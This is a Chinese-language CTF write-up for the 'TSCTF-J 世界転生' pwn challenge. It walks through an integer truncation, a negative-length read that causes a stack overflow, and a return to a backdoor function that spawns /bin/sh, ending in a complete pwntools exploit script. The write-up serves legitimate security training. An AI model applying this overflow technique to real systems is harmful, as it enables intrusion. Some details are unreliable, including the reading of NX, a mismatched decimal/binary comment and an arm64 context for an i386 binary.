TSCTF-J 世界転生
TSCTF-J 世界転生
记一次整型溢出实践
1.整型溢出
引用CTF WiKi中的介绍
在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:
| 类型 | 字节 | 范围 |
|---|---|---|
| short int | 2byte(word) | 0-32767(0-0x7fff) -32768--1(0x8000-0xffff) |
| unsigned short int | 2byte(word) | 0~65535(0-0xffff) |
| int | 4byte(dword) | 0-2147483647(0-0x7fffffff) -2147483648--1(0x80000000-0xffffffff) |
| unsigned int | 4byte(dword) | 0-4294967295(0-0xffffffff) |
| long int | 8byte(qword) | 正: 0-0x7fffffffffffffff 负: 0x8000000000000000-0xffffffffffffffff |
| unsigned long int | 8byte(qword) | 0-0xffffffffffffffff |
当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
2.逆向分析
2.1使用checksec对elf文件进行简单的分析:
$ checksec /home/merk11/pwn
[*] '/home/merk11/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Arch:程序架构为32位
RELRO:可以修改got表
Stack:没有开启栈保护
NX:没有限制栈中数据的执行权限
PIE: 没有开启地址随机化
2.2使用ida静态分析
首先试着本地运行看看,知道基本逻辑为:
1.丢东西可以获取技能点(+pts)
2.使用技能点可以升级技能(-pts)
3.通过某种途径变为上帝
进入ida调试,f5查看伪代码:
1.获取技能点
puts("Goddess: You can later upgrade your skill using these points.");
v7 = 0;
v8 = 0;
while ( !v8 )
{
puts("Which thing do you want to lose?\n");
puts("-- Available Items Only --");
puts("1. A hair - 1 pts");
puts("2. A meal - 2 pts");
puts("3. A weapon - 5 pts");
puts("4. A teammate - 10 pts");
puts("5. YOUR WAIFU - 50 pts");
puts("-- Available Items Only --");
printf("0. Done\nYour Points: %d\nChoice: > ", v7);
__isoc99_scanf((int)"%d", (int)&v6);
switch ( v6 )
{
case 1:
++v7;
break;
case 2:
v7 += 2;
break;
case 3:
v7 += 5;
break;
case 4:
v7 += 10;
break;
case 5:
v7 += 50;
break;
default:
if ( v6 )
{
printf("Invalid Choice!");
exit(1);
}
v8 = 1;
break;
}
}
result = point_checker((unsigned __int8)v7);
我们在最后一行result = point_checker((unsigned __int8)v7)发现了问题.
v7在声明的时候是int类型在这里强制转换成unsigned __int8类型可能会导致整型溢出,这样会导致输入的数字最终值为对256取模运算得到的值。
从二进制的角度来看就是,该函数参数永远只读取v7的二进制末8位。
跟进point_checker函数
int __cdecl point_checker(int a1)
{
int result; // eax
result = a1;
if ( (unsigned __int8)a1 > 0x44u )
{
printf("You have nothing left to lose. You lose your life.");
exit(1);
}
return result;
}
我们发现只需要满足输入的数字大于0x44u(十进制68)
我们可以根据需要构造类似于(n个1)00000000这样的数字来通过point_checker的验证并且获得一个较大的技能点数(pts)
接着进入升级技能的部分
v8 = 0;
while ( !v8 )
{
puts("Now, make your skill more powerful\n");
puts("1. [ATK + 10] - 10 pts");
puts("2. [COST - 10] - 20 pts");
puts("3. [CD - 10] - 50 pts");
puts("4. [Shining Effect] - 100 pts");
puts("5. [Give it A name] - 500 pts");
puts("6. [*Custom Effect*] - 10000 pts");
printf("0. Done\nYour Points: %d\n\nChoice: > ", v7);
__isoc99_scanf((int)"%d", (int)&v6);
switch ( v6 )
{
case 1:
if ( v7 <= 9 )
{
puts("No Points!!");
exit(1);
}
v7 -= 10;
result = (int)buf;
strcpy(buf, "[ATK+10]");
break;
case 2:
if ( v7 <= 19 )
{
puts("No Points!!");
exit(1);
}
v7 -= 20;
result = (int)buf;
strcpy(buf, "[COST-10]");
break;
case 3:
if ( v7 <= 49 )
{
puts("No Points!!");
exit(1);
}
v7 -= 50;
result = (int)buf;
strcpy(buf, "[CD-10]");
break;
case 4:
if ( v7 <= 99 )
{
puts("No Points!!");
exit(1);
}
v7 -= 100;
result = (int)buf;
strcpy(buf, "[Shining Effect]");
break;
case 5:
if ( v7 <= 499 )
{
puts("No Points!!");
exit(1);
}
v7 -= 500;
puts("Your skill name length: ");
__isoc99_scanf((int)"%d", (int)&nbytes);
if ( (int)nbytes > 9 )
{
puts("Too long!");
exit(1);
}
puts("Enter your skill name:");
read(0, buf, nbytes);
result = puts(buf);
break;
case 6:
if ( v7 <= 9999 )
{
puts("No Points!!");
exit(1);
}
v7 -= 10000;
puts("Your skill length: ");
__isoc99_scanf((int)"%d", (int)&nbytes);
if ( (int)nbytes > 49 )
{
puts("Too long!");
exit(1);
}
puts("ENTER YOUR SKILL: ");
result = read(0, buf, nbytes);
break;
default:
result = v6;
if ( v6 )
{
printf("Wrong Choice!");
exit(0);
}
v8 = 1;
break;
}
}
return result;
我们可以看到在case 5 和case 6 中有明显的可利用的整型溢出和栈溢出漏洞
整型溢出: __isoc99_scanf((int)"%d", (int)&nbytes);将nbytes(无符号整型unsigned int)转换为int,我们可以利用下界溢出,可以通过if((int)nbytes > 49)的验证并且由于下界nbyte真实存储值会是一个很大的数,完全满足我们后续的栈溢出命令覆盖。
栈溢出: result = read(0, buf, nbytes)
ssize_t read (int fd, void *buf, size_t nbyte)
## fd:文件描述符;fd为0从键盘读取
## buf:指定的缓冲区,即指针,指向一段内存单元;
## nbyte:要读入文件指定的字节数;
## read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。
由于这里的nbytes我们已经控制为一个非常大的数,我们可以从键盘中读入大量字符,可以通过buf覆盖函数返回地址将其更改为后门地址,从而获取shell。
查看ida中栈空间详情
-0000004C nbytes dd ?
-00000048 db ? ; undefined
-00000047 buf db ?
-00000046 db ? ; undefined
-00000045 db ? ; undefined
-00000044 db ? ; undefined
-00000043 db ? ; undefined
-00000042 db ? ; undefined
-00000041 db ? ; undefined
-00000040 db ? ; undefined
-0000003F db ? ; undefined
-0000003E db ? ; undefined
-0000003D db ? ; undefined
-0000003C db ? ; undefined
-0000003B db ? ; undefined
-0000003A db ? ; undefined
-00000039 db ? ; undefined
-00000038 db ? ; undefined
-00000037 db ? ; undefined
-00000036 db ? ; undefined
-00000035 db ? ; undefined
-00000034 db ? ; undefined
-00000033 db ? ; undefined
-00000032 db ? ; undefined
-00000031 db ? ; undefined
-00000030 db ? ; undefined
-0000002F db ? ; undefined
-0000002E db ? ; undefined
-0000002D db ? ; undefined
-0000002C db ? ; undefined
-0000002B db ? ; undefined
-0000002A db ? ; undefined
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 var_14 dd ?
-00000010 var_10 dd ?
-0000000C var_C dd ?
-00000008 anonymous_0 dd ?
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
可以看到buf到我们的返回地址r的距离为0x47+0x04个字节,于是我们可以构想payload:
0x4B个字节的填充物+后门地址
寻找后门地址
在ida中查看发现后门并寻找地址:
int goddess_b4ckd00r()
{
puts("When you become a god, why don't you just go that straight?");
return system("/bin/sh");
}
这个后门并没有增加额外的难度直接就给了system("/bin/sh")
text:0804984A public goddess_b4ckd00r
3.编写完整的exp
from pwn import *
backdoor=0x804984A
payload=b'a'*(0x47+0x4)+p32(backdoor)
context(os='linux',arch='arm64',log_level = 'debug')
p=process("./pwn")
for i in range(323): ## 这里输入的数字十进制161510
p.recvuntil("Choice: >") ## 二进制11111100010110
p.sendline("5")
p.recvuntil("Choice: >")
p.sendline("0")
p.recvuntil("Choice: >")
p.sendline("6")
p.recvuntil("Your skill length:")
p.sendline("-1")
p.recvuntil("ENTER YOUR SKILL:")
p.sendline(payload)
p.interactive()
最终得到了耐人寻味的一句话
[DEBUG] Received 0x3c bytes:
b"When you become a god, why don't you just go that straight?\n"
When you become a god, why don't you just go that straight?
当然我们已经得到shell,下一步直接cat flag就OK了,但是本人是赛后本地做题,于是与flag擦肩而过了。

浙公网安备 33010602011771号